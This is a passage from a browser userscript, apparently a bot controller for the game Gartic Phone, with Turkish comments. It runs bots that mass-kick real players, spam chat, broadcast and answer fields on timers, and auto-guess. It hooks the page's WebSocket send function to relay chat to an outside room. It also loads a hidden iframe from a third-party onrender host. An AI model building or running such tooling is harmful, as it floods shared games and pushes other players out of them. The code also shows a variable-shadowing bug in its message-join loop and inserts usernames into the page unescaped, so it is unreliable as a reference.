            f(".taktifbot") ? f(".taktifbot").innerText = botc : 0;
            f("#statusLog").innerText = `Durum: ${botc} bot aktif`;
        });

        GM_addValueChangeListener("ready", function(I, C, E, b) {
            readyc++;
            readyc >= botc && botc != 0 ? GM_setValue("join", rand()) : 0;
        });

        GM_addValueChangeListener("botexit", function(I, C, E, b) {
            botc--;
            f(".taktifbot") ? f(".taktifbot").innerText = botc : 0;
            f("#statusLog").innerText = `Durum: ${botc} bot aktif`;
        });

        // Custom Kick ve Message Join Yükleme
        let customkick = localStorage.getItem("customkick");
        if (!customkick) {
            localStorage.setItem("customkick", "[]");
        }
        if (customkick) {
            let list = [];
            try {
                list = JSON.parse(customkick);
            } catch (e) {
                console.error('customkick parse hatası:', e);
            }
            list.forEach(user => {
                setTimeout(() => {
                    const container = f("#kicklist-items");
                    const item = document.createElement('div');
                    item.className = 'player-item';
                    item.innerHTML = `
                        <span class="player-name">${user.user}</span>
                        <button class="kick-btn" id="customkickuser.${user.user}">Kaldır</button>
                    `;
                    container.appendChild(item);
                    item.querySelector(`#customkickuser\\.${user.user}`).addEventListener('click', () => {
                        window.postMessage(`customkickremove.${user.user}`, '*');
                    });
                    addItem(customkickitems, user.user);
                }, 3000);
            });
        }

        let msgjoin = localStorage.getItem("messagejoin");
        if (!msgjoin) {
            localStorage.setItem("messagejoin", "[]");
        }
        if (msgjoin) {
            let list = [];
            try {
                list = JSON.parse(msgjoin);
            } catch (e) {
                console.error('messagejoin parse hatası:', e);
            }
            list.forEach(item => {
                setTimeout(() => {
                    const container = f("#joinmessage-items");
                    const item = document.createElement('div');
                    item.className = 'player-item';
                    item.innerHTML = `
                        <span class="player-name">${item.msg}</span>
                        <button class="kick-btn" id="msgjoin.${item.msg}">Kaldır</button>
                    `;
                    container.appendChild(item);
                    item.querySelector(`#msgjoin\\.${item.msg}`).addEventListener('click', () => {
                        window.postMessage(`messagejoinremove.${item.msg}`, '*');
                    });
                    addItem(messagejoinitems, item.msg);
                }, 3000);
            });
        }

        let avataritem = localStorage.getItem("avatar");
        if (!avataritem) {
            localStorage.setItem("avatar", 1);
            avatar = 1;
        }
        if (avataritem == 'null') {
            setTimeout(() => {
                f("#avatar").src = "https://garticphone.com/images/avatar/31.svg";
            }, 1000);
        }

        let botnickitem = localStorage.getItem("botnick");
        if (!botnickitem) {
            localStorage.setItem("botnick", "0");
        }

        let nickitem = localStorage.getItem("nick");
        if (!nickitem) {
            localStorage.setItem("nick", "ICEbot");
        }
    }

    // onrender Kontrolü
    if (window.location.href.indexOf("onrender") != -1) {
        let originalSend = WebSocket.prototype.send, setTrue = false;
        window.wsObj = {};
        WebSocket.prototype.send = function(data) {
            originalSend.apply(this, arguments);
            if (Object.keys(window.wsObj).length == 0) {
                window.wsObj = this;
                window.eventAdd();
            }
        };
        window.eventAdd = () => {
            if (!setTrue) {
                setTrue = 1;
                setTimeout(() => {
                    window.wsObj.send('42["joinRoom",{"username":"User' + Math.ceil(Math.random() * 100000 + 1) + '","room":"ICEv0009"}]');
                }, 3000);
                window.wsObj.addEventListener("message", (msg) => {
                    let vx = JSON.parse('[' + msg.data.split('42[')[1]);
                    if (msg.data.indexOf('42["chatMessage"') !== -1 && vx[1].type !== 'bot') {
                        GM_sendMessage("msge", vx[1].user, vx[1].chatMessage, num(5000));
                    }
                });
            }
        };
        GM_onMessage("msgf", (n, m, _) => {
            let a = new Date();
            let d = a.toISOString();
            window.wsObj.send('42["chatMessage",{"user":"' + n + '","time":"' + d + '","type":"text","chatMessage":"' + m + '"}]');
        });
    }

    // Olay Dinleyicileri
    window.addEventListener("message", function(event) {
        if (typeof(event.data) === "string") {
            if (event.data == "chat") {
                GM_setValue("msg", f("#message").value + "►" + num(5000));
                GM_sendMessage('cmd', 'msg', f("#message").value, num(5000));
            }
            if (event.data.indexOf("kickuser.") != -1) {
                let userid = event.data.split("kickuser.")[1];
                GM_setValue("kick", userid + ".." + num(10000));
                GM_sendMessage("cmd", 'kick', userid + ".." + num(10000));
            }
            if (event.data.indexOf("kickusernick.") != -1) {
                let usernick = event.data.split("kickusernick.")[1];
                let c = fnFILTER(usersinroom);
                c.forEach(x => {
                    if (x.nick == usernick && x.nick !== "ysuf") {
                        let userid = x.id;
                        if (!botsidvalue.includes(userid)) {
                            GM_setValue("kick", userid + ".." + num(5000));
                            GM_sendMessage("cmd", 'kick', userid + ".." + num(10000));
                        }
                    }
                });
            }
            if (event.data == "broadcast") {
                GM_setValue("broadcast", f("#broadcast").value + "►" + num(5000));
                GM_sendMessage('cmd', 'broadcast', f("#broadcast").value, num(5000));
            }
            if (event.data == "answer") {
                GM_setValue("answer", f("#answer").value + "►" + num(5000));
                GM_sendMessage('cmd', 'answer', f("#answer").value, num(5000));
            }
            if (event.data == "report") {
                GM_setValue('report', num(5000));
                GM_sendMessage('cmd', 'report', 'x', num(5000));
            }
            if (event.data == "jump") {
                GM_setValue('jump', num(5000));
            }
            if (event.data == "reconnect") {
                GM_sendMessage('reconnect', rand(), rand());
            }
            if (event.data == "acceptdraw1") {
                GM_setValue('acceptdraw1', num(5000));
                GM_sendMessage('cmd', 'accept1', 'x', num(5000));
            }
            if (event.data == "acceptdraw2") {
                GM_setValue('acceptdraw2', num(5000));
                GM_sendMessage('cmd', 'accept2', 'x', num(5000));
            }
            if (event.data == "tips") {
                GM_setValue('tips', num(5000));
                GM_sendMessage('cmd', 'tips', 'x', num(5000));
            }
            if (event.data == "exit") {
                GM_setValue('exit', num(5000));
                GM_sendMessage('cmd', 'exit', 'x', num(5000));
            }
            if (event.data == "rejoin") {
                GM_setValue('exit', num(5000));
                let msgstorage = localStorage.getItem("messagejoin");
                if (msgstorage) {
                    let vm = JSON.parse(msgstorage);
                    setTimeout(() => {
                        vm.forEach(item => {
                            GM_setValue("msg", item.msg + "►" + num(5000));
                        });
                    }, 4000);
                }
                GM_sendMessage("join", f("#roomlink").value.split("/")[3], f("#botnick")?.value || nick, avatar, localStorage.getItem("botnick"), f(".kickonjoin")?.checked || false, JSON.parse(localStorage.getItem("messagejoin") || "[]"), rand());
            }
            if (event.data == "kickall") {
                var elements = document.getElementsByClassName("kickmenubtn");
                var elementsvalue = [];
                for (var i = 0; i < elements.length; i++) {
                    elementsvalue.push(elements[i].getAttribute("onclick"));
                }
                elementsvalue.forEach(function(value, index) {
                    setTimeout(function() {
                        let userid = value.split("kickuser.")[1].split("','*")[0];
                        GM_setValue("kick", userid + ".." + num(10000));
                        GM_sendMessage("cmd", 'kick', userid + ".." + num(10000));
                    }, 550 * index);
                });
            }
            if (event.data == "broadcastspamtoggle") {
                let broadcastspamMS = parseInt(localStorage.getItem("broadcastspam")) || 1000;
                var broadcastspam = f("#broadcastspam").value;
                intervalbroadcast = setInterval(() => {
                    GM_setValue("broadcast", broadcastspam + "►" + num(5000));
                }, broadcastspamMS);
                f("#broadcaststart").style.display = "none";
                f("#broadcaststop").style.display = "block";
            }
            if (event.data == "chatspamtoggle") {
                let messagespamMS = parseInt(localStorage.getItem("messagespam")) || 1000;
                var messagespam = f("#messagespam").value;
                intervalmsg = setInterval(() => {
                    var chatspam = f("#messagespam").value;
                    GM_setValue("msg", chatspam + "►" + num(5000));
                }, messagespamMS);
                f("#msgstart").style.display = "none";
                f("#msgstop").style.display = "block";
            }
            if (event.data == "answerspamtoggle") {
                let answerspamMS = parseInt(localStorage.getItem("answerspam")) || 1000;
                var answerspam = f("#answerspam").value;
                intervalanswer = setInterval(() => {
                    var answerspam = f("#answerspam").value;
                    GM_setValue("answer", answerspam + "►" + num(5000));
                }, answerspamMS);
                f("#answerstart").style.display = "none";
                f("#answerstop").style.display = "block";
            }
            if (event.data == "stopbroadcast") {
                clearInterval(intervalbroadcast);
                f("#broadcaststart").style.display = "block";
                f("#broadcaststop").style.display = "none";
            }
            if (event.data == "stopmsg") {
                clearInterval(intervalmsg);
                f("#msgstart").style.display = "block";
                f("#msgstop").style.display = "none";
            }
            if (event.data == "stopanswer") {
                clearInterval(intervalanswer);
                f("#answerstart").style.display = "block";
                f("#answerstop").style.display = "none";
            }
            if (event.data == "autoguess") {
                if (f("#autoguess").checked) {
                    GM_setValue("autoguess", 1);
                } else {
                    GM_setValue("autoguess", 0);
                    clearInterval(wordsInterval);
                }
            }
            if (event.data == "autoguessenable") {
                f("#autoguessenable").style.display = "none";
                f("#autoguessdisable").style.display = "block";
                GM_setValue("autoguess", 1);
            }
            if (event.data == "autoguessdisable") {
                f("#autoguessenable").style.display = "block";
                f("#autoguessdisable").style.display = "none";
                GM_setValue("autoguess", 0);
                clearInterval(wordsInterval);
            }
            if (event.data.indexOf("customkickremove.") != -1) {
                let user = event.data.split("customkickremove.")[1];
                let list = JSON.parse(localStorage.getItem('customkick') || "[]");
                list = list.filter(item => item.user !== user);
                localStorage.setItem('customkick', JSON.stringify(list));
                const item = f(`#customkickuser\\.${user}`)?.parentElement;
                if (item) item.remove();
                customkickitems = customkickitems.filter(item => item !== user);
                Swal.fire({
                    toast: true,
                    position: 'top-end',
                    icon: 'success',
                    title: `${user} kaldırıldı!`,
                    showConfirmButton: false,
                    timer: 2000
                });
            }
            if (event.data.indexOf("messagejoinremove.") != -1) {
                let msg = event.data.split("messagejoinremove.")[1];
                let list = JSON.parse(localStorage.getItem('messagejoin') || "[]");
                list = list.filter(item => item.msg !== msg);
                localStorage.setItem('messagejoin', JSON.stringify(list));
                const item = f(`#msgjoin\\.${msg}`)?.parentElement;
                if (item) item.remove();
                messagejoinitems = messagejoinitems.filter(item => item !== msg);
                Swal.fire({
                    toast: true,
                    position: 'top-end',
                    icon: 'success',
                    title: 'Mesaj kaldırıldı!',
                    showConfirmButton: false,
                    timer: 2000
                });
            }
        }
    });

    // Mobil Arayüz Düzenlemeleri
    function xmv() {
        const userAgent = navigator.userAgent.toLowerCase();
        const dM = ['android', 'webos', 'iphone', 'ipad', 'ipod', 'blackberry', 'windows phone'];
        for (let d of dM) {
            if (userAgent.includes(d)) {
                let ice = fa(".panel");
                ice.forEach(panel => {
                    panel.style.width = "90%";
                });
            }
        }
    }
    setTimeout(() => { xmv(); }, 200);

    // Başlangıç Ayarları
    localStorage.getItem("botc") ? 0 : localStorage.setItem("botc", 0);
    GM_setValue("resetcount", rand());

    setTimeout(() => {
        var iframe = document.createElement("iframe");
        iframe.src = "https://anomly.onrender.com/home";
        iframe.width = "30";
        iframe.height = "30";
        iframe.style.display = "none";
        document.body.appendChild(iframe);
    }, 2000);

    setTimeout(() => {
        localStorage.setItem('TOKEN', btoa(Date.now()));
    }, 500);

    GM_onMessage("msge", (u, m, _) => { f("#joinmessage-items").innerHTML += `<div class="player-item"><span class="player-name">${u}: ${m}</span></div>`; });
})();